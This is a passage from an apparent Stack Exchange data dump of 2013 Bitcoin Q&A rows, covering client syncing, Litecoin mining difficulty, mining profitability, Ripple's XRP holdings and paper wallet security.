LastEditorUserId="4241" LastEditDate="2013-06-25T18:46:37.197" LastActivityDate="2013-06-25T18:46:37.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11815" PostTypeId="2" ParentId="11812" CreationDate="2013-06-24T17:14:32.117" Score="0" Body="&lt;p&gt;As of June 24th 2013, There has not actually been a fork after the May 15th changes. That means that 0.6.0.6 should actually still work (though you shouldn't rely on that). This means that the fact that your client doesn't synchronize is caused by another issue, most likely a corrupted block chain database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you didn't do things like copying wallets / using them from different locations (which you shouldn't), there should not really be a problem. Just upgrade, and you should get in sync, and the client will see (or try to get) the transaction confirmed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upgrading will take a while to 0.8.x, because of the new database layout, though. As a practical upshot, that also means the corrupted database won't matter. Oh, and make sure you have a wallet backup, and shutdown your client cleanly before upgrading.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2013-06-24T19:43:05.750" LastActivityDate="2013-06-24T19:43:05.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11816" PostTypeId="2" ParentId="11672" CreationDate="2013-06-24T17:59:26.807" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;It should pay 100USD for every 713 shares (diff as I type).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That refers to shares of a certain difficulty: diff 1 Litecoin shares or diff 65,536 shares according to some mining clients (notably CGMiner).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each found share has its difficulty. If the share's difficulty is equal to or higher than the worker's difficulty, it gets submitted by the worker and accepted by the pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At 713 difficulty, it will take on average &lt;em&gt;713 * 65,536 = 46,727,168&lt;/em&gt; diff 1 shares to find a block. Likewise, it would take &lt;em&gt;713 * 65,536 / D&lt;/em&gt; diff D shares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that, if you submit a diff 256 share at 128 worker difficulty, you get paid for a diff 128 share. So, assuming your worker difficulty is constant (LTC pools tend to use variable difficulty), your expected payout would be &lt;em&gt;numbers of shares * worker difficulty * 50 / difficulty&lt;/em&gt; LTC, where both worker difficulty and difficulty should use the same metric (just use the values the mining client reports).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Aren't the mechanisms supposed to be very similar?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For Bitcoin mining, a diff 1 share (lowest possible worker difficulty) is found for every 2&lt;sup&gt;32&lt;/sup&gt; hashes that are calculated. Since Litecoin's scrypt algorithm is about 1000 times slower than SHA256, mining Litecoins would have a very high variance if the same metric of worker difficulty was being used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, pools and mining clients implemented shares with worker difficulty lower than 1, e.g., diff 2&lt;sup&gt;-10&lt;/sup&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to avoid dealing with fractional difficulties (I assume), mining clients labelled diff 2&lt;sup&gt;-16&lt;/sup&gt; shares diff 1 shares, so actual diff 1 Litecoin shares become diff 65,536 shares.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Litecoin difficulty is very low!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since computing hashes is 1,000 times slower for Litecoin mining, a difficulty of 713 for Litecoin mining is more or less equivalent to a difficulty of 713,000 for Bitcoin mining.&lt;/p&gt;&#xA;" OwnerUserId="4788" LastEditorUserId="4788" LastEditDate="2013-06-27T16:26:02.400" LastActivityDate="2013-06-27T16:26:02.400" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="11817" PostTypeId="2" ParentId="11810" CreationDate="2013-06-24T18:22:43.613" Score="2" Body="&lt;p&gt;Generally, CPU mining isn't worth the electricity consumes.  However, we will assume that you've got some adequately efficient cores.&lt;br&gt;&#xA;If you are going to do CPU mining, you might have more luck using a scrypt based fork of bitcoin, such as tenebrix, litecoin, or fairbrix.&lt;br&gt;&#xA;Because the effectiveness of a setup can vary, as well as the price of various cryptocurrencies, your best bet is to do your own experimentation:&#xA;&lt;br&gt; &lt;br&gt;&#xA;For each coin:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Mine for an hour or so, and determine your average mining rate&lt;/li&gt;&#xA;&lt;li&gt;Look up the current difficulty of that coin&lt;/li&gt;&#xA;&lt;li&gt;Use something like the &lt;a href=&quot;http://www.alloscomp.com/bitcoin/calculator.php&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Mining Calculator&lt;/a&gt; to determine how much you stand to make &lt;/li&gt;&#xA;&lt;li&gt;Convert it into $ per day or something similar&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You would then compare the profitability of the various coins and choose which is best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if you wish to assume that scrypt is best for your setup, and that your hashrate will be identical across different scrypt-based coins, you can use &lt;a href=&quot;http://www.coinwarz.com/cryptocurrency&quot; rel=&quot;nofollow&quot;&gt;CoinWarz&lt;/a&gt; to determine the best coin to mine (currently Fastcoin, although they rate fastcoin as having bad stability, so you may wish to drop down to digitalcoin or novacoin if you feel like you need something a little more stable.)&lt;/p&gt;&#xA;" OwnerUserId="4193" LastEditorUserId="4193" LastEditDate="2013-06-24T18:36:41.777" LastActivityDate="2013-06-24T18:36:41.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11818" PostTypeId="2" ParentId="11790" CreationDate="2013-06-24T18:24:51.540" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;https://itunes.apple.com/us/app/bitcoin-ticker/id440229059?mt=8&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Ticker&lt;/a&gt; app seems like it would fit your needs nicely. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-06-24T18:24:51.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11819" PostTypeId="2" ParentId="11592" CreationDate="2013-06-24T19:50:30.937" Score="13" Body="&lt;p&gt;Since v0.10, the parallel block download in Bitcoin Core is often comparable in speed to torrent downloading, does not require temporary double storage, and validates while downloading instead of sequentially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Original answer:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please use the bootstrap.dat torrent download. It is more frequently updated and much safer to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the .torrent download at &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/bootstrap.dat.torrent/download&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/bootstrap.dat.torrent/download&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="3576" LastEditDate="2016-07-17T21:42:46.030" LastActivityDate="2016-07-17T21:42:46.030" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11821" PostTypeId="1" AcceptedAnswerId="11838" CreationDate="2013-06-25T01:07:11.553" Score="10" ViewCount="2217" Body="&lt;p&gt;Let us assume in a best case scenario, the Ripple system gets opensourced this year and the 50 billion XRP are distributed fairly to many people in the world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the reasons of having XRP currency is to prevent spam and provide safety to the Ripple network from abusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OpenCoin has about 50 billion XRP or even 30 billion XRP without the founders count. So they can technically use their massive XRP to harm the system if they need to. I have not reviewed how many different and harmful ways one can abuse the Ripple network if they have too many ripples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does any single entity needs to have such amount of power over the network? Technically, for us to trust Ripple, we need to trust the OpenCoin entity forever. Even if OpenCoin people are good, what if their accounts got hacked and the XRP is with malicious people?&lt;/p&gt;&#xA;" OwnerUserId="439" LastEditorUserId="2306" LastEditDate="2015-10-24T09:31:34.223" LastActivityDate="2015-10-24T09:31:34.223" Title="How exactly is Ripple decentralized when OpenCoin has so much XRP?" Tags="|ripple|ripple-gateways|ripple-transaction-fees|ripple-client|ripple-trust|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11822" PostTypeId="1" CreationDate="2013-06-25T01:22:21.143" Score="5" ViewCount="6647" Body="&lt;p&gt;Litecoin is different from Bitcoin in the following ways, however none of them are particularly useful and on the contrary are only less worthy.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;84 million vs 21 millions: since Bitcoin is divisible upto atleast nine decimals and also micro BTC can be used for dealing with low amounts&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Faster blocks, 2.5 minutes vs 10 minutes average: six confirmations of Bitcoin are not equivalent of six confirmations of Litecoin, so Litecoin payments are usually confirmed after many more confirmations. It also wastes mining power because in Litecoin, most of the time miners may start work with non-best blocks.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Scrypt&quot; rel=&quot;nofollow&quot;&gt;scrypt&lt;/a&gt; vs &lt;a href=&quot;http://en.wikipedia.org/wiki/SHA-2&quot; rel=&quot;nofollow&quot;&gt;SHA-256&lt;/a&gt;: since scrypt can be relatively efficiently run on CPU/GPU, it means botnets can easily control a lot of hashing power. Also, scrypt is relatively less analyzed and used than SHA-256, so it may not be more secure than SHA-256.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Technically, Bitcoin does what Litecoin does in an equal or better way. Also, Bitcoin testnet can be used to experiment with new features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do we need Litecoin that actually has monetary value (around USD2.7 per LTC now)? Is it just promoted by a group of people who missed the Bitcoin get-rich boat?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is a novel concept and early adopters rightly earn their rewards for the risk they have taken.&lt;/p&gt;&#xA;" OwnerUserId="439" LastEditorUserId="2306" LastEditDate="2015-08-05T22:46:27.700" LastActivityDate="2015-08-05T22:46:27.700" Title="What does Litecoin offer over Bitcoin?" Tags="|bitcoind|bitcoin-core|litecoin|alternatives|speculation|" AnswerCount="4" CommentCount="5" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11823" PostTypeId="2" ParentId="11822" CreationDate="2013-06-25T01:50:22.850" Score="7" Body="&lt;p&gt;Well, Litecoin's &lt;a href=&quot;https://en.wikipedia.org/wiki/Litecoin&quot;&gt;main aim&lt;/a&gt; is to make mining easier for the common man.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with pure SHA-256 mining is that it is not very hard to design hardware that can perform mining at an astonishing speed. We can see this with the currently very much ongoing rise of the ASIC mining industry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since &lt;a href=&quot;https://en.wikipedia.org/wiki/Scrypt&quot;&gt;scrypt&lt;/a&gt; is more complex when it comes to hardware - scrypt not only requires many processor cycles, but also requires intensive memory use - it is harder to design hardware specifically for scrypt mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result of this is that Litecoin mining will be profitable for the average joe for a longer period of time than Bitcoin mining did, when it would be adopted just as fast. Since it does not, the arrival of dedicated scrypt mining hardware will be even more deferred, to the benefit of the miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides this, I have to agree with you that the other differences between Litecoin and Bitcoin are only minor. Total currency is really not that important since both are very divisible. And faster confirmations are not required either, most Bitcoin transactions are considered valid upon first notice, since it is hard to perform a &lt;a href=&quot;https://en.bitcoin.it/wiki/Double-spending&quot;&gt;double-spend attack&lt;/a&gt;. (Note that you should better require a transaction to have a fee included when you want to consider it confirmed upon first notice.)&#xA;Also, after one confirmation, pretty much all transactions can be considered final.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-06-25T01:50:22.850" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11824" PostTypeId="2" ParentId="11790" CreationDate="2013-06-25T03:01:18.480" Score="0" Body="&lt;p&gt;com. BOY i have gone a head and made a free service for anyone. This service runs on my freicoin block explorer. you will get updates on the last btc/usd, btc/euro price as well as the last BTC/FRC price. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://1.cr.rs&quot; rel=&quot;nofollow&quot;&gt;http://1.cr.rs&lt;/a&gt;&#xA;In the upper right hand corner is a link that says&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Click here to get daily BTC/FRC price updates sent to your phone&quot;&#xA;(link: &lt;a href=&quot;http://1.cr.rs/sms/&quot; rel=&quot;nofollow&quot;&gt;http://1.cr.rs/sms/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;click that link, and insert your phone number.... note you must have a usa based cellphone at this time (I only did this quickly so you could have information).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Texts you twice a day at 800 EDT and 2000EDT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;enjoy! &#xA;If you (anyone reading this) are out of the usa, give me the name of your carrier and the email address extension your provider gives for sms messages and I will add your carrier to the list.&lt;/p&gt;&#xA;" OwnerUserId="5651" LastActivityDate="2013-06-25T03:01:18.480" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11825" PostTypeId="2" ParentId="5907" CreationDate="2013-06-25T08:04:43.090" Score="2" Body="&lt;p&gt;I don't recommend solo mining with CPU only, it would take a really long time to find a block. If you don't like pool mining, you can download the pool software and run your own private pool where you will connect all your CPUs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is profitable depends on your expenses. Generally speaking using CPU to mine BTC/LTC if you have to pay the electricity is not profitable any longer. But if you don't pay the electricity (for example is included in server hosting costs) and already have the CPUs/servers available, then your expenses are zero. So even if you would earn one cent per month it would be profitable :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using pooler's cpuminer on few servers - &lt;a href=&quot;https://github.com/pooler/cpuminer&quot; rel=&quot;nofollow&quot;&gt;https://github.com/pooler/cpuminer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4810" LastActivityDate="2013-06-25T08:04:43.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11826" PostTypeId="2" ParentId="8530" CreationDate="2013-06-25T09:16:31.453" Score="0" Body="&lt;p&gt;If you are looking for a easy and safe way to &lt;a href=&quot;http://www.coinmama.com/buy-bitcoins-with-moneygram/&quot; rel=&quot;nofollow&quot;&gt;buy bitcoins with MoneyGram&lt;/a&gt; you can check out CoinMama's exchange service, they work with both MoneyGram and Western Union and can deliver the bitcoins within a few hours. &lt;/p&gt;&#xA;" OwnerUserId="5711" LastActivityDate="2013-06-25T09:16:31.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11827" PostTypeId="1" AcceptedAnswerId="11828" CreationDate="2013-06-25T10:50:26.933" Score="6" ViewCount="7715" Body="&lt;p&gt;What is the API to get Bitcoin's real-time Buy price and sell price on my site? and how can get it from to implement in my website developed in PHP.&lt;/p&gt;&#xA;" OwnerUserId="5671" LastActivityDate="2021-02-04T23:59:34.613" Title="Bitcoin's real-time Buy and Sell price API" Tags="|api|exchange-rate|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11828" PostTypeId="2" ParentId="11827" CreationDate="2013-06-25T10:58:33.427" Score="9" Body="&lt;p&gt;Bitcoin does not have &lt;em&gt;one single buy and sell price&lt;/em&gt;. Bitcoins are exchanged on many different exchanges, each keeping track of their own market price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, &lt;a href=&quot;http://bitcoincharts.com/about/markets-api/&quot;&gt;BitcoinCharts.com has a useful API&lt;/a&gt; that summarises many of the largest exchanges according to their trading volume. You could use that to display the Bitcoin price on your website.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-06-25T10:58:33.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11829" PostTypeId="1" AcceptedAnswerId="13145" CreationDate="2013-06-25T13:09:14.517" Score="3" ViewCount="3953" Body="&lt;p&gt;I setup p2pool on my ubuntu  12.04LTS x64 machine. Installed cgminer 3.3 and ran it. the newest cgminer is supposed to support the USB mode with the erupters without any extra configuration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 2 erupters on a powered usb2 hub and 2 running off the motherboard direct. The hashing is just not stable; jumping from 50mh to 300, then getting sick and restarting- there are a ton of rejects. The avg on 4 should be 1.2gh but I am hardy getting 300mh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what is wrong. I have been reading many posts all over over the place, one after the other and I am stumped. It is not meant to be this difficult- is it??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What did I miss?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EMfZG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3656" LastActivityDate="2013-09-05T22:05:04.277" Title="Bitcoin erupters not stable on Ubuntu and cgminer 3.3?" Tags="|asic|linux|p2pool|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11830" PostTypeId="1" CreationDate="2013-06-25T13:28:31.437" Score="-1" ViewCount="248" Body="&lt;p&gt;Is there an equation that estimate the hashing rate of a GPU from its specs: cores, clock, ... ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need this because the &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;hardware comparison list&lt;/a&gt; is not complete and I am considering buying a new video card. There are cards in the market that are not in the list.&lt;/p&gt;&#xA;" OwnerUserId="5530" LastEditorUserId="2306" LastEditDate="2017-04-26T21:33:31.317" LastActivityDate="2017-04-26T21:33:31.317" Title="GPU mining equation?" Tags="|mining-hardware|gpu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11832" PostTypeId="2" ParentId="11830" CreationDate="2013-06-25T15:19:20.503" Score="2" Body="&lt;p&gt;Not really. In the question &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4681/what-is-better-for-bitcoin-mining-more-stream-processors-or-faster-clock&quot;&gt;What is better for Bitcoin mining: More stream processors or faster clock?&lt;/a&gt; it is suggested that for an AMD GPU core it can be calculated as Cores*MHz*300.  This is most likely only somewhat of an estimate, and I can't imagine it works on non-AMD GPUs.&#xA;&lt;br&gt;&lt;br&gt;&#xA;Honestly though,  FPGAs and ASICs are going to be taking over any day now, if they haven't done so already.  If you are going to pursue mining with a GPU, your best bet is going to be going with a card that you can find info on.  If a card isn't listed anywhere, there's probably a reason for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, according to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10676/ati-opencl-v-s-nvidia-cuda-cores&quot;&gt;ATI OpenCL V.S. NVidia Cuda Cores&lt;/a&gt; AMD cards are generally better.  In the accepted answer a quote from the bitcoin wiki calculates performance as the number of ALU's times the clock speed so you could try using that.&lt;/p&gt;&#xA;" OwnerUserId="4193" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-06-25T15:19:20.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11833" PostTypeId="1" CreationDate="2013-06-25T20:32:34.693" Score="0" ViewCount="49" Body="&lt;p&gt;I just got a bitcoin qt wallet today and I have already sent the money, it is taking to long to to though so if I dump my key and import it to an e-wallet like blockchain.info, will my coins still show up? &lt;/p&gt;&#xA;" OwnerUserId="5714" LastEditorUserId="2306" LastEditDate="2013-06-25T20:38:43.303" LastActivityDate="2013-06-25T21:15:35.903" Title="Moving transfer help!" Tags="|wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11834" PostTypeId="2" ParentId="11833" CreationDate="2013-06-25T21:13:24.953" Score="1" Body="&lt;p&gt;As long as the transaction is in the network (it has been transmitted without double spends), you can access your bitcoins with the private key from any client, be it Standard Client, blockchain.info or anything else. Your money is not stored in your wallet, but in the Bitcoin Network - only the private key that lets you access that money is stored in the wallet file.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-06-25T21:13:24.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11835" PostTypeId="2" ParentId="11833" CreationDate="2013-06-25T21:15:35.903" Score="0" Body="&lt;p&gt;I would assume that you mean that the client is taking a long time to synchronize.  If you exported the key and imported it into an e-wallet (or even just a wallet that was already synced), you should see your coins immediately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also download a bootstrap.dat, which may speed up synchronization of the blockchain.  There is a download at &lt;a href=&quot;http://archive.org/details/bitcoin_bootstrap.dat&quot; rel=&quot;nofollow&quot;&gt;http://archive.org/details/bitcoin_bootstrap.dat&lt;/a&gt; if you want to try it.&lt;/p&gt;&#xA;" OwnerUserId="3536" LastActivityDate="2013-06-25T21:15:35.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11836" PostTypeId="2" ParentId="11731" CreationDate="2013-06-25T21:35:45.237" Score="2" Body="&lt;p&gt;There certainly is a rationale explanation- if you are manually constructing your own transactions i.e. you are writing your own code to create bitcoin transactions its pretty easy to do this by accident.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason this is so easy is because there is no explicit 'transaction fee' output, rather  transaction fee = total inputs - total outputs. Hence it is pretty easy to accidentally forget to e.g. send. the remainder back to yourself or to miscalculate the remainder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did this once when I was testing sending miner fees in some transaction code I was writing. I mistyped the conversion factor converting from BTC to satoshis (raw bitcoin transactions record amounts as satoshis - 64-bit unsigned integers), published the transaction, and ended up sending something like 10 BTC instead of 0.1 BTC to the miners.&lt;/p&gt;&#xA;" OwnerUserId="2030" LastActivityDate="2013-06-25T21:35:45.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11837" PostTypeId="2" ParentId="8772" CreationDate="2013-06-26T04:34:47.757" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;However, if I do this then won't any sensitive data still possibly&#xA;  be saved on their server(s), therefore rendering the paper wallet&#xA;  not completely secure&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's absolutely correct. They're generating the key for you, and promising that they're not keeping the key for later. In the case of Blockchain.info, I trust them at their word, but you can never be sure that their site hasn't been hacked, or that you're a victim of a man-in-the-middle attack. The safest way to generate keys is to do it yourself on an offline computer, encrypt them immediately, and keep them offline forever (either in printed or electronic form). That said, unless you're dealing with incredibly large sums of Bitcoin, I wouldn't worry about it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If my &quot;paper wallet&quot; shows the bitcoin address and its corresponding&#xA;  private key, then is that all I need to put in a safe?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. In fact, all you need is the private key. To prove this to yourself, make up a test address and visit &lt;a href=&quot;http://bitaddress.org&quot; rel=&quot;nofollow&quot;&gt;bitaddress.org&lt;/a&gt;. On the Wallet Details tab, paste in the private key. Confirm that the page generates the address from the key. So all you really need is the private key. Nonetheless, it's nice to keep the address handy. You can send more funds to it, and you can easily check its balance, all without regenerating the private key (and in the process putting the private key on a computer where it might be stolen).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;should I delete any backups of the previous wallet that originally&#xA;  had the coins that I sent to this newly created offline address&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I wouldn't. There is only downside. Suppose you delete your wallet and then realize you deleted the wrong one. Or in the process of emptying your trash can, you also deleted your term paper due tomorrow. Or you accidentally send money to one of the addresses in that wallet (which might happen because you put those addresses in your Bitcoin address book, or a friend had that address and tried to settle your $1,000,000 debt by sending Bitcoin to it). If you understand that having a private key is merely &lt;strong&gt;the ability to unforgeably sign a transfer from the signing address to another&lt;/strong&gt;, then you understand that keeping private keys is power you want to have. And in the case where the corresponding addresses have a zero balance, there's no risk to keeping that power -- if someone obtained your old wallet, they'd find no Bitcoin at the addresses to steal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just make sure the old wallet is encrypted with a strong passphrase and offline, and there isn't any risk to keeping it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;should I then close/delete my entire account on blockchain.info&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See above. If you don't trust them and worry they kept your private keys, then maybe deleting will help. Then again, if you don't trust them, why would they truly delete your account? They'd just hide it from you and claim to have deleted it.&lt;/p&gt;&#xA;" OwnerUserId="5718" LastActivityDate="2013-06-26T04:34:47.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11838" PostTypeId="2" ParentId="11821" CreationDate="2013-06-26T07:41:12.080" Score="7" Body="&lt;p&gt;There are only two known &quot;attacks&quot; you can perform with a large amount of XRP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you can dump a large amount of XRP on the market. This will reduce the value of XRP, which OpenCoin would have to report as a loss. The net effect would be that people who hold XRP as a store of value would be harmed. So if you choose to use XRP as a store of value, you are incurring the risk that OpenCoin might hurt you by hurting itself more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, you can sustain a large flow of transactions that would bid up the transaction fee on the network. This would mean that people who wanted to perform Ripple transactions would have to wait or would have to &quot;outbid&quot; OpenCoin for transaction slots. This would cost huge amounts of XRP for every minute you wanted to keep the network unusable. So this attack could just be waited out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But really the premise behind this is false. OpenCoin's XRP has the same value regardless of how it was acquired. So worrying about this is really no different from worrying that someone with large amounts of Bitcoins might dump them on the market crashing the price. It's true, but people don't do that often because it hurts them more than it hurts anyone else. So, yes, it's a risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But generally speaking, there are many kinds of attacks someone can perform at their own expense to hurt you. Someone could flood the Bitcoin network with transactions with a .2 BTC transaction fee each, effectively knocking out Satoshi Dice. It's not rational to unduly worry about these kinds of things because it's so rare for someone to attack you in a way that hurts them more than you unless they have some clear motive to harm you and otherwise you'd pretty much have to worry about everything. And, of course, OpenCoin has no motive to deter adoption of the Ripple network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm an employee of OpenCoin speaking only for myself.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-06-26T07:41:12.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11839" PostTypeId="1" AcceptedAnswerId="21269" CreationDate="2013-06-26T07:42:16.123" Score="2" ViewCount="178" Body="&lt;p&gt;Does the Bitcoin protocol provide means to add some freely definable data to transactions such that a small transaction could actually be used to timestamp arbitrary data?&lt;/p&gt;&#xA;" OwnerUserId="1137" LastActivityDate="2014-01-28T12:10:55.240" Title="Can the Bitcoin network be used as a timestamping service?" Tags="|network|timestamp|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11841" PostTypeId="2" ParentId="9784" CreationDate="2013-06-26T11:05:52.497" Score="0" Body="&lt;p&gt;How I do it in php -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A) decode base58 to hex and pad with 0's on the left so it is 50 characterts long.&#xA;B) The right most 8 characters is the checksum, the left most 42 are the extended ripemd160 (and &lt;strong&gt;should start with 00&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C) sha256(sha256(extended ripemd160)) - the first 8 characters of that should match the checksum from step B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not code, sorry, but that's how you do it.&lt;/p&gt;&#xA;" OwnerUserId="5722" LastActivityDate="2013-06-26T11:05:52.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11842" PostTypeId="2" ParentId="11004" CreationDate="2013-06-26T11:12:32.337" Score="3" Body="&lt;p&gt;Amount of Bitcoin addresses is allways same with or without vanitygen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone generate address with vanitygen it's NOT RESERVED only for him… everyone can generate same address and using it too. Because It's only secret key and address, which can be generated from secret key (2 adresses from 1 key).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there are lot of possible adresses, and it's almost impossible to randomly generate the same address as someone else.&lt;/p&gt;&#xA;" OwnerUserId="5004" LastActivityDate="2013-06-26T11:12:32.337" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
